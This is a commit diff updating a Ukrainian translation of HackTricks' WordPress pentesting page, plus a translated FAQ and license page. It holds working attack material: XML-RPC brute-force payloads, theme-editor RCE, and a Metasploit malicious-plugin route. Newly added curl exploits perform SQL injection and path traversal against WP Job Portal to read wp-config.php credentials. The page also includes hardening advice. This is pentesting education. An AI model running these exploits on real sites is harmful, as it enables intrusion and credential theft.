Translated ['src/network-services-pentesting/pentesting-web/wordpress.md

This commit is contained in:
Translator 2025-08-13 16:58:19 +00:00
parent e2294d4784
commit 4125f147cc
2 changed files with 96 additions and 39 deletions

View File

@ -5,12 +5,12 @@
## Основна інформація
- **Завантажені** файли знаходяться за адресою: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Файли тем можна знайти в /wp-content/themes/,** тому, якщо ви зміните деякі php файли теми для отримання RCE, ви, ймовірно, будете використовувати цей шлях. Наприклад: Використовуючи **тему twentytwelve**, ви можете **доступитися** до файлу **404.php** за адресою: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Файли тем можна знайти в /wp-content/themes/,** тому, якщо ви зміните деякі php файли теми для отримання RCE, ви, ймовірно, будете використовувати цей шлях. Наприклад: Використовуючи **тему twentytwelve**, ви можете **доступитися** до **404.php** файлу за адресою: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Ще один корисний URL може бути:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- У **wp-config.php** ви можете знайти кореневий пароль бази даних.
- Шляхи для входу за замовчуванням для перевірки: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
- Шляхи для входу за замовчуванням, які слід перевірити: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Основні файли WordPress**
@ -22,7 +22,7 @@
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` - це файл, який представляє функцію WordPress, що дозволяє передавати дані з HTTP, що діє як механізм транспорту, а XML - як механізм кодування. Цей тип зв'язку був замінений на [REST API](https://developer.wordpress.org/rest-api/reference) WordPress.
- `xmlrpc.php` - це файл, який представляє функцію WordPress, що дозволяє передавати дані з HTTP, який діє як механізм транспорту, а XML - як механізм кодування. Цей тип зв'язку був замінений на [REST API](https://developer.wordpress.org/rest-api/reference) WordPress.
- Папка `wp-content` є основним каталогом, де зберігаються плагіни та теми.
- `wp-content/uploads/` - це каталог, де зберігаються всі файли, завантажені на платформу.
- `wp-includes/` - це каталог, де зберігаються основні файли, такі як сертифікати, шрифти, JavaScript файли та віджети.
@ -46,7 +46,7 @@
Перевірте, чи можете ви знайти файли `/license.txt` або `/readme.html`
У **джерельному коді** сторінки (приклад з [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
Всередині **джерельного коду** сторінки (приклад з [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
@ -79,11 +79,11 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Плагіни та Теми
Ви, напевно, не зможете знайти всі можливі Плагіни та Теми. Щоб виявити їх усі, вам потрібно буде **активно здійснити Брутфорс списку Плагінів та Тем** (на щастя, для нас є автоматизовані інструменти, які містять ці списки).
Ви, ймовірно, не зможете знайти всі можливі Плагіни та Теми. Щоб виявити їх усі, вам потрібно буде **активно Брутфорсити список Плагінів та Тем** (на щастя, для нас є автоматизовані інструменти, які містять ці списки).
### Користувачі
- **ID Брут:** Ви отримуєте дійсних користувачів з сайту WordPress, здійснюючи Брутфорс ID користувачів:
- **ID Брут:** Ви отримуєте дійсних користувачів з сайту WordPress, Брутфорсуючи ID користувачів:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
@ -105,7 +105,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
### XML-RPC
Якщо `xml-rpc.php` активний, ви можете виконати брутфорс облікових даних або використовувати його для запуску DoS-атак на інші ресурси. (Ви можете автоматизувати цей процес[ використовуючи це](https://github.com/relarizky/wpxploit), наприклад).
Якщо `xml-rpc.php` активний, ви можете виконати брутфорс облікових даних або використовувати його для запуску DoS-атак на інші ресурси. (Ви можете автоматизувати цей процес[ використовуючи це](https://github.com/relarizky/wpxploit) наприклад).
Щоб перевірити, чи активний, спробуйте отримати доступ до _**/xmlrpc.php**_ і надішліть цей запит:
@ -120,7 +120,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
**Брутфорс облікових даних**
**`wp.getUserBlogs`**, **`wp.getCategories`** або **`metaWeblog.getUsersBlogs`** - це деякі з методів, які можна використовувати для брутфорсу облікових даних. Якщо ви зможете знайти будь-який з них, ви можете надіслати щось на зразок:
**`wp.getUserBlogs`**, **`wp.getCategories`** або **`metaWeblog.getUsersBlogs`** це деякі з методів, які можна використовувати для брутфорсу облікових даних. Якщо ви зможете знайти будь-який з них, ви можете надіслати щось на зразок:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -217,7 +217,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Спробуйте отримати доступ до _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ і сайт Worpress може надіслати запит до вас.
Ось відповідь, коли це не працює:
Це відповідь, коли це не працює:
![](<../../images/image (365).png>)
@ -244,7 +244,7 @@ return new WP_Error(
```
## **Panel RCE**
**Зміна php з теми, що використовується (потрібні облікові дані адміністратора)**
**Модифікація php з використаною теми (потрібні облікові дані адміністратора)**
Зовнішній вигляд → Редактор тем → Шаблон 404 (праворуч)
@ -293,19 +293,19 @@ to get a session.
### Завантаження та активація шкідливого плагіна
Цей метод передбачає установку шкідливого плагіна, відомого як вразливий, який можна експлуатувати для отримання веб-оболонки. Цей процес здійснюється через панель управління WordPress наступним чином:
Цей метод передбачає установку шкідливого плагіна, відомого як вразливий, і його можна експлуатувати для отримання веб-оболонки. Цей процес здійснюється через панель управління WordPress наступним чином:
1. **Отримання плагіна**: Плагін отримується з джерела, такого як Exploit DB, як [**тут**](https://www.exploit-db.com/exploits/36374).
2. **Встановлення плагіна**:
- Перейдіть до панелі управління WordPress, потім перейдіть до `Панель управління > Плагіни > Завантажити плагін`.
- Завантажте zip-файл завантаженого плагіна.
3. **Активація плагіна**: Після успішної установки плагін повинен бути активований через панель управління.
3. **Активація плагіна**: Після успішної установки плагін потрібно активувати через панель управління.
4. **Експлуатація**:
- З встановленим і активованим плагіном "reflex-gallery" його можна експлуатувати, оскільки відомо, що він вразливий.
- Фреймворк Metasploit надає експлойт для цієї вразливості. Завантаживши відповідний модуль і виконавши конкретні команди, можна встановити сесію meterpreter, що надає несанкціонований доступ до сайту.
- Фреймворк Metasploit надає експлойт для цієї вразливості. Завантаживши відповідний модуль і виконавши специфічні команди, можна встановити сесію meterpreter, що надає несанкціонований доступ до сайту.
- Зазначено, що це лише один з багатьох методів експлуатації сайту WordPress.
Зміст включає візуальні допоміжні матеріали, що ілюструють кроки в панелі управління WordPress для встановлення та активації плагіна. Однак важливо зазначити, що експлуатація вразливостей таким чином є незаконною та неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і лише в законному контексті, наприклад, під час тестування на проникнення з явним дозволом.
Зміст включає візуальні допоміжні засоби, що ілюструють кроки в панелі управління WordPress для встановлення та активації плагіна. Однак важливо зазначити, що експлуатація вразливостей таким чином є незаконною та неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і лише в законному контексті, наприклад, під час тестування на проникнення з явним дозволом.
**Для більш детальних кроків перевірте:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
@ -346,7 +346,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
**Використання `nopriv` робить кінцеву точку доступною для будь-яких користувачів (навіть неавтентифікованих).**
> [!CAUTION]
> Більше того, якщо функція просто перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція просто перевіряє, чи увійшов користувач, зазвичай не перевіряючи роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями.
> Більше того, якщо функція просто перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція просто перевіряє, чи увійшов користувач, зазвичай вона не перевіряє роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями.
- **REST API**
@ -372,9 +372,9 @@ $this->namespace, '/get/', array(
Теми та плагіни WordPress часто відкривають AJAX обробники через хуки `wp_ajax_` та `wp_ajax_nopriv_`. Коли використовується варіант **_nopriv_**, **зворотний виклик стає доступним для неавтентифікованих відвідувачів**, тому будь-яка чутлива дія повинна додатково реалізовувати:
1. Перевірку **можливостей** (наприклад, `current_user_can()` або принаймні `is_user_logged_in()`), і
1. **перевірку можливостей** (наприклад, `current_user_can()` або принаймні `is_user_logged_in()`), і
2. **CSRF nonce**, перевірений за допомогою `check_ajax_referer()` / `wp_verify_nonce()`, і
3. **Сувору санітизацію / валідацію вводу**.
3. **Сувору санітизацію / валідацію введення**.
Мультифункціональна тема Litho (< 3.1) забула ці 3 контролі в функції *Видалити сімейство шрифтів* і в результаті відправила наступний код (спрощений):
```php
@ -399,7 +399,7 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
* **Неавтентифікований доступ** хук `wp_ajax_nopriv_` зареєстровано.
* **Відсутня перевірка nonce / можливостей** будь-який відвідувач може звернутися до кінцевої точки.
* **Відсутня санітизація шляху** рядок `fontfamily`, контрольований користувачем, конкатенується до шляху файлової системи без фільтрації, що дозволяє класичний `../../` обхід.
* **Відсутня санітизація шляху** рядок `fontfamily`, контрольований користувачем, конкатенується до шляху файлової системи без фільтрації, що дозволяє класичний перехід `../../`.
#### Експлуатація
@ -419,7 +419,7 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
* Конкатенація неочищеного вводу користувача в шляхи (шукайте `$_POST`, `$_GET`, `$_REQUEST`).
* Відсутність `check_ajax_referer()` та `current_user_can()`/`is_user_logged_in()`.
#### Посилення безпеки
#### Ускладнення
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
@ -440,7 +440,7 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
```
> [!TIP]
> **Завжди** розглядайте будь-яку операцію запису/видалення на диску як привілейовану та двічі перевіряйте:
> • Аутентифікація • Авторизація • Нонси • Санітизація введення • Обмеження шляху (наприклад, через `realpath()` плюс `str_starts_with()`).
> • Аутентифікація • Авторизація • Нонси • Санітизація вводу • Обмеження шляху (наприклад, через `realpath()` плюс `str_starts_with()`).
---
@ -464,14 +464,71 @@ add_filter( 'auto_update_theme', '__return_true' );
### **Інші рекомендації**
- Видаліть користувача за замовчуванням **admin**
- Видаліть стандартного **admin** користувача
- Використовуйте **сильні паролі** та **2FA**
- Періодично **переглядайте** права доступу користувачів
- **Обмежте спроби входу**, щоб запобігти атакам Brute Force
- Періодично **переглядайте** права **доступу** користувачів
- **Обмежте спроби входу** для запобігання атакам Brute Force
- Перейменуйте файл **`wp-admin.php`** і дозволяйте доступ лише внутрішньо або з певних IP-адрес.
### Неавтентифікований SQL-ін'єкція через недостатню валідацію (WP Job Portal <= 2.3.2)
Плагін рекрутингу WP Job Portal відкрив задачу **savecategory**, яка в кінцевому підсумку виконує наступний вразливий код всередині `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
Проблеми, введені цим фрагментом:
1. **Несанітизований ввід користувача** `parentid` надходить безпосередньо з HTTP запиту.
2. **Конкатенація рядків у WHERE клаузі** немає `is_numeric()` / `esc_sql()` / підготовленого запиту.
3. **Несанкціонована досяжність** хоча дія виконується через `admin-post.php`, єдина перевірка це **CSRF nonce** (`wp_verify_nonce()`), який будь-який відвідувач може отримати з публічної сторінки, що вбудовує шорткод `[wpjobportal_my_resumes]`.
#### Експлуатація
1. Отримайте новий nonce:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. Впровадьте довільний SQL, зловживаючи `parentid`:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
Відповідь розкриває результат впровадженого запиту або змінює базу даних, що підтверджує SQLi.
### Несанкціоноване завантаження довільних файлів / Перехід по шляху (WP Job Portal <= 2.3.2)
Інше завдання, **downloadcustomfile**, дозволяло відвідувачам завантажувати **будь-який файл на диску** через перехід по шляху. Вразливий приймач знаходиться в `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` контролюється атакуючим і конкатенується **без санітизації**. Знову ж таки, єдиним бар'єром є **CSRF nonce**, який можна отримати зі сторінки резюме.
#### Exploitation
```bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
Сервер відповідає вмістом `wp-config.php`, витікаючи облікові дані БД та ключі автентифікації.
## Посилання
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
- [Вразливість неавтентифікованого довільного видалення файлів у темі Litho](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
- [Виправлено кілька критичних вразливостей у плагіні WP Job Portal](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -13,9 +13,9 @@
> - **ЗБЕРІГАТИ** чудові **хакерські** техніки, які публікує спільнота, надаючи **ОРИГІНАЛЬНИМ** **АВТОРАМ** всі **кредити**.
> - **Ми не хочемо кредиту від інших людей**, ми просто хочемо зберігати класні трюки для всіх.
> - Ми також пишемо **свої власні дослідження** в HackTricks.
> - У кількох випадках ми просто напишемо **в HackTricks резюме важливих частин** техніки і **заохотимо читача відвідати оригінальний пост** для отримання додаткових деталей.
> - **ОРГАНІЗУВАТИ** всі хакерські техніки в книзі, щоб вони були **БІЛЬШ ДОСТУПНІМИ**
> - Команда HackTricks присвятила тисячі годин безкоштовно **тільки для організації контенту**, щоб люди могли **навчатися швидше**
> - У кількох випадках ми просто напишемо **в HackTricks резюме важливих частин** техніки і **заохочуватимемо читача відвідати оригінальний пост** для отримання додаткових деталей.
> - **ОРГАНІЗУВАТИ** всі хакерські техніки в книзі, щоб вони були **БІЛЬШ ДОСТУПНІМИ**.
> - Команда HackTricks присвятила тисячі годин безкоштовно **лише для організації контенту**, щоб люди могли **навчатися швидше**.
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
@ -25,8 +25,8 @@
>
> - **Дуже дякую за ці ресурси, як я можу вас подякувати?**
Ви можете публічно подякувати командам HackTricks за те, що зібрали всі ці ресурси публічно в твітті, згадуючи [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
Якщо ви особливо вдячні, ви також можете [**підтримати проект тут**](https://github.com/sponsors/carlospolop).\
Ви можете публічно подякувати командам HackTricks за те, що зібрали всі ці ресурси, у твітті, згадуючи [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
Якщо ви особливо вдячні, ви також можете [**спонсорувати проект тут**](https://github.com/sponsors/carlospolop).\
І не забудьте **поставити зірку в проектах Github!** (Знайдіть посилання нижче).
> [!TIP]
@ -42,15 +42,15 @@
> [!TIP]
>
> - **Чи можу я скопіювати деякий контент з HackTricks і помістити його в свій блог?**
> - **Чи можу я скопіювати деякий контент з HackTricks і розмістити його в своєму блозі?**
Так, ви можете, але **не забудьте згадати конкретне посилання(я),** звідки був взятий контент.
> [!TIP]
>
> - **Як я можу цитувати сторінку HackTricks?**
> - **Як я можу сторінку HackTricks?**
Досить, щоб з'явилося посилання **на** сторінку(і), звідки ви взяли інформацію.\
Якщо посилання **на** сторінки, звідки ви взяли інформацію, з'являється, цього достатньо.\
Якщо вам потрібен bibtex, ви можете використовувати щось на зразок:
```latex
@misc{hacktricks-bibtexing,
@ -72,7 +72,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
>
> - **Чому у вас є спонсори? Чи є книги HackTricks комерційними?**
Перша **цінність HackTricks** полягає в тому, щоб пропонувати **БЕЗКОШТОВНІ** освітні ресурси з хакінгу **ВСІМ** у світі. Команда HackTricks **присвятила тисячі годин** для надання цього контенту, знову ж таки, **БЕЗКОШТОВНО**.
Перша **цінність HackTricks** полягає в тому, щоб пропонувати **БЕЗКОШТОВНІ** освітні ресурси з хакінгу **ВСЬОМУ** світу. Команда HackTricks **присвятила тисячі годин** для надання цього контенту, знову ж таки, **БЕЗКОШТОВНО**.
Якщо ви вважаєте, що книги HackTricks створені для **комерційних цілей**, ви **ЦІЛКОМ ПОМИЛЯЄТЕСЬ**.
@ -82,7 +82,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
> [!CAUTION]
>
> - **Що мені робити, якщо якась сторінка HackTricks базується на моєму блозі, але не згадана?**
> - **Що мені робити, якщо деяка сторінка HackTricks базується на моєму блозі, але не згадана?**
**Нам дуже шкода. Це не повинно було статися**. Будь ласка, дайте нам знати через Github issues, Twitter, Discord... посилання на сторінку HackTricks з контентом і посилання на ваш блог, і **ми перевіримо це і додамо якомога швидше**.
@ -92,7 +92,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
Зверніть увагу, що наявність посилань на вашу сторінку в HackTricks:
- Покращує ваше **SEO**
- Покращує ваш **SEO**
- Контент **перекладається на більше ніж 15 мов**, що дозволяє більшій кількості людей отримати доступ до цього контенту
- **HackTricks заохочує** людей **перевіряти вашу сторінку** (декілька людей згадували нам, що з тих пір, як деяка їхня сторінка є в HackTricks, вони отримують більше відвідувань)
@ -112,18 +112,18 @@ Copyright © Усі права захищені, якщо не вказано і
- Attribution: Ви вільні:
- Share — копіювати та розповсюджувати матеріал в будь-якому середовищі або форматі.
- Adapt — реміксувати, трансформувати та розвивати матеріал.
- Adapt — реміксувати, трансформувати та створювати на основі матеріалу.
#### Додаткові умови:
- Third-Party Content: Деякі частини цього блогу/книги можуть містити контент з інших джерел, таких як уривки з інших блогів або публікацій. Використання такого контенту здійснюється відповідно до принципів добросовісного використання або з явним дозволом відповідних правовласників. Будь ласка, зверніться до оригінальних джерел для отримання конкретної інформації про ліцензування щодо контенту третіх сторін.
- Authorship: Оригінальний контент, автором якого є HackTricks, підлягає умовам цієї ліцензії. Вам рекомендується вказувати цю роботу автору при її поширенні або адаптації.
- Authorship: Оригінальний контент, автором якого є HackTricks, підлягає умовам цієї ліцензії. Вам рекомендується вказувати автора цієї роботи при її поширенні або адаптації.
#### Винятки:
- Commercial Use: Для запитів щодо комерційного використання цього контенту, будь ласка, зв'яжіться зі мною.
Ця ліцензія не надає жодних прав на товарні знаки або брендинг у відношенні до контенту. Усі товарні знаки та брендинг, представлені в цьому блозі/книзі, є власністю відповідних власників.
Ця ліцензія не надає жодних прав на товарні знаки або брендинг у відношенні до контенту. Усі товарні знаки та брендинг, представлені в цьому блозі/книзі, є власністю їх відповідних власників.
**Використовуючи HackTricks, ви погоджуєтеся дотримуватися умов цієї ліцензії. Якщо ви не погоджуєтеся з цими умовами, будь ласка, не заходьте на цей веб-сайт.**
@ -134,7 +134,7 @@ Copyright © Усі права захищені, якщо не вказано і
>
> Автори та видавці не несуть жодної відповідальності за будь-які втрати або збитки, включаючи, без обмежень, непрямі або наслідкові втрати або збитки, або будь-які втрати або збитки, що виникають внаслідок втрати даних або прибутків, що виникають з, або у зв'язку з використанням цієї книги.
>
> Крім того, техніки та поради, описані в цій книзі, надаються лише для освітніх та інформаційних цілей і не повинні використовуватися для будь-якої незаконної або зловмисної діяльності. Автори та видавці не схвалюють і не підтримують жодну незаконну або неетичну діяльність, і будь-яке використання інформації, що міститься в цій книзі, є на ризик і розсуд користувача.
> Крім того, техніки та поради, описані в цій книзі, надаються лише для освітніх та інформаційних цілей і не повинні використовуватися для будь-якої незаконної або зловмисної діяльності. Автори та видавці не схвалюють і не підтримують жодної незаконної або неетичної діяльності, і будь-яке використання інформації, що міститься в цій книзі, є на ризик і розсуд користувача.
>
> Користувач несе повну відповідальність за будь-які дії, вжиті на основі інформації, що міститься в цій книзі, і завжди повинен звертатися за професійною порадою та допомогою, намагаючись реалізувати будь-які з технік або порад, описаних тут.
>